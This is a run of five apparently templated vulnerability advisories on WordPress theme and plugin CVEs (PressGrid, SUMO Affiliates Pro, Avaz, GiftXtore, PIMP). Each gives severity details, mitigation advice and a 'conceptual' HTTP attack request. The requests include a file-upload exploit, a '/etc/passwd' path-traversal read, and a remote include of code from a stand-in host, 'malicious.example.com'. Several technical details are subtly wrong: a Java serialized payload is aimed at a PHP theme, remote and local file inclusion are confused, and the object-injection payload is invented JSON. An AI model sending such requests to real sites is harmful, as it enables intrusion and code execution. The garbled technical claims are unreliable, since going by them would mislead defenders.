Author: Ameeba

Overview

The vulnerability identified as CVE-2025-31429 poses a significant cybersecurity threat to users of the PressGrid – Frontend Publish Reaction & Multimedia Theme. This vulnerability, specifically a Deserialization of Untrusted Data vulnerability, enables an attacker to inject harmful objects into the system. This is a serious concern because it allows unauthorized individuals to potentially compromise the system or lead to data leakage. In the world of cybersecurity, such vulnerabilities are critical due to their high potential for exploitation.

Vulnerability Summary

CVE ID: CVE-2025-31429
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

PressGrid – Frontend Publish Reaction & Multimedia Theme | Up to 1.3.1

How the Exploit Works

The vulnerability lies in the process of deserialization, which is the reverse of serialization – the process of converting an object into a format that can be stored or transmitted and then reconstructed later. In this case, the PressGrid theme doesn’t correctly validate or sanitize the serialized data when it’s being deserialized. This allows an attacker with network access to inject malicious serialized data, which, when deserialized, can lead to the execution of malicious code, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit the vulnerability using a malicious serialized object in an HTTP POST request:

POST /target_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "serialized_object": "rO0ABXNyABdqYXZhLnV0aWwuaGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAAAeHIAA2JhZC5jbGFzc3g=" }

In this example, the `serialized_object` is a base64 encoded serialized Java object that contains malicious code. When this data is deserialized by the vulnerable application, the malicious code is executed.

Mitigation

Users of the PressGrid – Frontend Publish Reaction & Multimedia Theme should apply the patch provided by the vendor as soon as possible. If a patch cannot be applied immediately, users are encouraged to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation strategy against potential exploits. Regular software updates and patching remain the most effective defense against such vulnerabilities.

Overview

In this blog post, we will be discussing a critical vulnerability, CVE-2025-32291, that impacts the popular affiliate marketing tool, FantasticPlugins SUMO Affiliates Pro. This vulnerability, with a CVSS severity score of 10.0, poses a serious threat to businesses using this software due to its potential for system compromise or data leakage. Such unrestricted upload of file with dangerous type vulnerability could be exploited by attackers to upload malicious files, thereby compromising the integrity, availability, and confidentiality of the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-32291
Severity: Critical (CVSS score 10.0)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

FantasticPlugins SUMO Affiliates Pro | Up to version 10.7.0

How the Exploit Works

The vulnerability arises due to the software’s failure to properly validate the types of files uploaded by users. An attacker can exploit this by uploading a malicious file containing executable code. Once the file is uploaded and executed on the server, it can lead to a full compromise of the system.

Conceptual Example Code

The following example demonstrates a conceptual exploit of this vulnerability. This is a HTTP POST request that uploads a malicious file to the vulnerable endpoint.

POST /upload_file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_file.php"
Content-Type: application/x-php
[INSERT MALICIOUS PHP CODE HERE]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

Please note that the above is a conceptual example and the actual exploit may modify the filename, content type, and malicious payload depending on the specific circumstances of the target system.

Mitigation Guidance

The vendor has released a patch to address this vulnerability, and users are strongly advised to update to the latest version of SUMO Affiliates Pro. As a temporary mitigation, users can also employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to block attempts to exploit this vulnerability.

Overview

The CVE-2025-28944 vulnerability is a significant security issue impacting the PHP-based snstheme Avaz. This vulnerability, known as PHP Remote File Inclusion, allows an attacker to include local files from the server through improper control of filename for include/require statement in the PHP program. This vulnerability affects many businesses and individuals who utilize snstheme Avaz, potentially leading to system compromise or data leakage. With a CVSS Severity Score of 8.1, it’s a high-risk vulnerability that requires immediate attention to prevent potential exploitation.

Vulnerability Summary

CVE ID: CVE-2025-28944
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

snstheme Avaz | n/a through 2.8

How the Exploit Works

PHP Remote File Inclusion (RFI) vulnerabilities occur when a PHP application doesn’t properly validate user input for file inclusion requests. In the case of CVE-2025-28944, the affected snstheme Avaz doesn’t adequately control filenames for include/require statements, allowing an attacker to manipulate the input and include arbitrary local files from the server. This can lead to the execution of malicious server-side scripts and potentially lead to a system compromise or significant data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. In this example, an attacker sends a malicious HTTP POST request to a vulnerable endpoint:

POST /vulnerable_endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=../../etc/passwd

In this request, the attacker is attempting to include the “/etc/passwd” file, a common target in Unix-like systems as it contains user account information. If the vulnerable PHP script doesn’t correctly validate the “include_file” parameter, the server will respond with the contents of the “/etc/passwd” file, giving the attacker potentially valuable information to further exploit the system.

Mitigation and Prevention

The most effective way to mitigate this vulnerability is to apply patches provided by the vendor. If a patch is not available, a workaround would be to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor the network for any suspicious activities. Also, ensure that all user inputs are correctly validated and sanitized before using them in file include or require statements to prevent potential PHP RFI vulnerabilities.

Overview

The cybersecurity world has recently been shaken by the discovery of a significant vulnerability, designated as CVE-2025-28888. This vulnerability affects BZOTheme GiftXtore, a widespread ecommerce solution. The flaw resides in the improper control of filename for Include/Require Statement in PHP Program, which could allow an attacker to include local files through PHP Remote File Inclusion. This could potentially lead to a system compromise or data leakage, which could be devastating for any online business. This blog post will analyze and dissect this vulnerability, providing helpful mitigation advice for those affected.

Vulnerability Summary

CVE ID: CVE-2025-28888
Severity: Critical (CVSS score of 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

BZOTheme GiftXtore | Up to and including 1.7.4

How the Exploit Works

An attacker exploiting this vulnerability would take advantage of the improper control of filename for Include/Require Statement in GiftXtore’s PHP program. By injecting a malicious file path into the PHP include/require statement, the attacker could trigger remote file inclusion, which would allow them to execute arbitrary code on the server running the vulnerable application. This could lead to a full system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. The malicious payload would include a path to a remote file that contains arbitrary code, which would be executed when the PHP include/require statement is processed.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_path": "http://malicious.example.com/evil-script.php" }

Recommendations for Mitigation

It is highly recommended that users of GiftXtore apply the vendor-supplied patch as soon as possible to mitigate this vulnerability. If for any reason the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation measure. These systems can be configured to block or alert on attempts to exploit this vulnerability.
Please ensure to follow up on this issue and apply the necessary updates to keep your systems secure.

Overview

In 2025, a critical cybersecurity vulnerability, identified as CVE-2025-31398, emerged in themeton PIMP – Creative MultiPurpose, a widely used creative multipurpose software. This vulnerability originates from a deserialization issue of untrusted data, which paves the way for object injection attacks. The vulnerability is of high significance due to its severity score of 9.8, indicating its potential to cause severe damage, including system compromise, data leakage, and potential disruption of services.

Vulnerability Summary

CVE ID: CVE-2025-31398
Severity: Critical, CVSS Score 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

themeton PIMP – Creative MultiPurpose | n/a through 1.7

How the Exploit Works

The vulnerability, CVE-2025-31398, is a deserialization of untrusted data vulnerability, allowing attackers to inject malicious objects into the system. The vulnerability occurs when an application deserializes untrusted data without proper validation and sanitization. The attacker can manipulate the serialized object to include arbitrary function calls or operations, which will be executed when the object is deserialized.

Conceptual Example Code

The following conceptual example illustrates how an attacker might exploit this vulnerability using a malicious serialized object.

POST /themeton_PIMP_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/serialized-object
{
"object": {
"_type": "InjectedObject",
"_values": {
"malicious_function": {
"_type": "FunctionCall",
"name": "system",
"arguments": ["payload.exe --execute"]
}
}
}
}

In this example, the attacker sends a serialized object containing a malicious function call to the themeton PIMP endpoint. When the system deserializes the object, it executes the malicious function, leading to a potential system compromise.

How to Mitigate the Vulnerability

The recommended mitigation strategy for CVE-2025-31398 is to apply the vendor patch as soon as it becomes available. Until the patch is available, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or detect attempts to exploit this vulnerability. Additionally, it is advisable to ensure all data is properly validated and sanitized before deserialization to prevent potential object injection attacks.